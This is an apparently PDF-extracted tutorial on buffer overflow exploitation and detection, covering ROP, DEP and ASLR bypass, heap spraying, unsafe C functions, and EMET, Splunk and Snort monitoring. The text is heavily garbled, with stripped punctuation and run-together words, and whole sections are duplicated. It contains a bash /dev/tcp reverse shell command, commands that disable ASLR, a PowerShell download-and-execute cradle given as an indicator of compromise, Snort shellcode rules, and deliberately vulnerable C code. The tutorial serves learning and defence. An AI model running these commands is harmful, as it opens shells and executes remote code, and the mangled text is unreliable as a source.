the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
